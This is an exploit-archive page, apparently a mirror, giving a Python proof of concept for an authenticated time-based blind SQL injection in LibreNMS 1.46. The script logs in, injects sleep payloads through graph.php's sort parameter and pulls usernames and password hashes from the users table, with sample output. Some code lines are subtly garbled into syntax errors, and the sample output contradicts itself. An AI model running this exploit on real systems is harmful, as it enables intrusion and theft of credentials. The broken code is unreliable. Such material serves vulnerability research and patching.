发布 2020-12-14 漏洞条目

LibreNMS 1.46 – MAC Accounting Graph Authenticated SQL Injection

Exploit Source

# Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection

# Google Dork: Unknown

# Date: 13-12-2020

# Exploit Author: Hodorsec

# Vendor Homepage: https://www.librenms.org

# Software Link: https://github.com/librenms/librenms

# Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838

# Version: 1.46

# Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch

# CVE : N/A

#!/usr/bin/python3

# EXAMPLE:

# $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2

# [*] Checking if authentication for page is required...

# [*] Visiting page to retrieve initial token and cookies...

# [*] Retrieving authenticated cookie...

# [*] Printing number of rows in table...

# 1

# [*] Found 1 rows of data in table 'users'

# [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...

# [*] Extracting strings from row 1...

# librenms

# [*] Retrieved value 'librenKs' for column 'username' in row 1

# [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...

# [*] Extracting strings from row 1...

# $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr

# [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1

# [+] Done!

import requests

import urllib3

import os

import sys

import re

from bs4 import BeautifulSoup

# Optionally, use a proxy

# proxy = "http://<user>:<pass>@<proxy>:<port>"

proxy = ""

os.environ['http_proxy'] = proxy

os.environ['HTTP_PROXY'] = proxy

os.environ['https_proxy'] = proxy

os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout

timeout = 10

# Injection prefix and suffix

inj_prefix = "(select(sleep("

inj_suffix = ")))))"

# Decimal begin and end

dec_begin = 48

dec_end = 57

# ASCII char begin and end

ascii_begin = 32

ascii_end = 126

# Handle CTRL-C

def keyboard_interrupt():

"""Handles keyboardinterrupt exceptions"""

print("\n\n[*] User requested an interrupt, exiting...")

exit(0)

# Custom headers

def http_headers():

headers = {

'User-Agent': 'Mozilla',

}

return headers

def check_auth(url,headers):

print("[*] Checking if authentication for page is required...")

target = url + "/graph.php"

r = requests.get(target,headers=headers,timeout=timeout,verify=False)

if "Unauthorized" in r.text:

return True

else:

return False

def get_initial_token_and_cookies(url,headers):

print("[*] Visiting page to retrieve initial token and cookies...")

target = url + "/login"

r = requests.get(target,headers=headers,timeout=timeout,verify=False)

soup = BeautifulSoup(r.text,'html.parser')

for n in soup('input'):

if n['name'] == "_token":

token = n['value']

return token,r.cookies

else:

return None,r.cookies

def get_valid_cookie(url,headers,token,cookies,usern,passw):

print("[*] Retrieving authenticated cookie...")

appl_cookie = "laravel_session"

post_data = {'_token':token,

'username':usern,

'password':passw,

'submit':''}

target = url + "/login"

r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)

res = r.text

if "Overview | LibreNMS" in res:

return r.cookies

else:

print("[!] No valid response from used session, exiting!\n")

exit(-1)

# Perform the SQLi call for injection

def sqli(url,headers,cookies,inj_str,sleep):

comment_inj_str = re.sub(" ","/**/",inj_str)

inj_params = {'id':'1',

'stat':'none',

'type':'port_mac_acc_total',

'sort':comment_inj_str,

'debug':'1'}

inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())

# Do GET request

r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)

res = r.elapsed.total_seconds()

if res >= sleep:

return True

elif res < sleep:

return False

else:

print("[!] Something went wrong checking responses. Check responses manually. Exiting.")

exit(-1)

# Extract rows

def get_rows(url,headers,cookies,table,sleep):

rows = ""

max_pos_rows = 4

# Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.

for pos in range(1,max_pos_rows+1):

# Test if current pos does have any valid value. If not, break

direction = ">"

inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix

if not sqli(url,headers,cookies,inj_str,sleep):

break

# Loop decimals

direction = "="

for num_rows in range(dec_begin,dec_end+1):

row_char = chr(num_rows)

inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix

if sqli(url,headers,cookies,inj_str,sleep):

rows += row_char

print(row_char,end='',flush=True)

break

if rows != "":

print("\n[*] Found " + rows + " rows of data in table '" + table + "'\n")

return int(rows)

else:

return False

# Loop through positions and characters

def get_data(url,headers,cookies,row,column,table,sleep):

extracted = ""

max_pos_len = 50

# Loop through length of string

# Not very efficient, should use a guessing algorithm

print("[*] Extracting strings from row " + str(row+1) + "...")

for pos in range(1,max_pos_len):

# Test if current pos does have any valid value. If not, break

direction = ">"

inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) += ",1)," + str(pos) + ",1))" + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix

if not sqli(url,headers,cookies,inj_str,sleep):

break

# Loop through ASCII printable characters

direction = "="

for guess in range(ascii_begin,ascii_end+1):

extracted_char = chr(guess)

inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix

if sqli(url,headers,cookies,inj_str,sleep):

extracted += chr(guess)

print(extracted_char,end='',flush=True)

break

return extracted

# Main

def main(argv):

if len(sys.argv) == 5:

usern = sys.argv[1]

passw = sys.argv[2]

url = sys.argv[3]

sleep = int(sys.argv[4])

else:

print("[*] Usage: " + sys.argv[0] + " <username> <password> <url> <sleep_in_seconds>\n")

exit(0)

# Random headers

headers = http_headers()

# Do stuff

try:

# Get a valid initial token and cookies

token,cookies = get_initial_token_and_cookies(url,headers)

# Check if authentication is required

auth_required = check_auth(url,headers)

if auth_required:

# Get an authenticated session cookie using credentials

valid_cookies = get_valid_cookie(url,headers,token,cookies,usern,passw)

else:

valid_cookies = cookies

print("[+] Authentication not required, continue without authentication...")

# Setting the correct vulnerable page

url = url + "/graph.php"

# The columns to retrieve

columns = ['username','password']

# The table to retrieve data from

table = "users"

# Getting rows

print("[*] Printing number of rows in table...")

rows = get_rows(url,headers,valid_cookies,table,sleep)

if not rows:

print("[!] Unable to retrieve rows, checks requests.\n")

exit(-1)

# Getting values for found rows in specified columns

for column in columns:

print("[*] Retrieving " + str(rows) + " rows of data using '" + column + "' as column and '" + table + "' as table...")

for row in range(0,rows):

# rowval_len = get_length(url,headers,row,column,table)

retrieved = get_data(url,headers,valid_cookies,row,column,table,sleep)

print("\n[*] Retrieved value '" + retrieved + "' for column'" + column + "' in row " + str(row+1))

# Done

print("\n[+] Done!\n")

except requests.exceptions.Timeout:

print("[!] Timeout error\n")

exit(-1)

except requests.exceptions.TooManyRedirects:

print("[!] Too many redirects\n")

exit(-1)

except requests.exceptions.ConnectionError:

print("[!] Not able to connect to URL\n")

exit(-1)

except requests.exceptions.RequestException as e:

print("[!] " + str(e))

exit(-1)

except requests.exceptions.HTTPError as e:

print("[!] Failed with error code - " + str(e.code) + "\n")

exit(-1)

except KeyboardInterrupt:

keyboard_interrupt()

exit(-1)

# If we were called as a program, go execute the main function.

if __name__ == "__main__":

main(sys.argv[1:])

作者: Hodorsec
日期: 2020-12-14
类别: webapps
平台: multiple

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection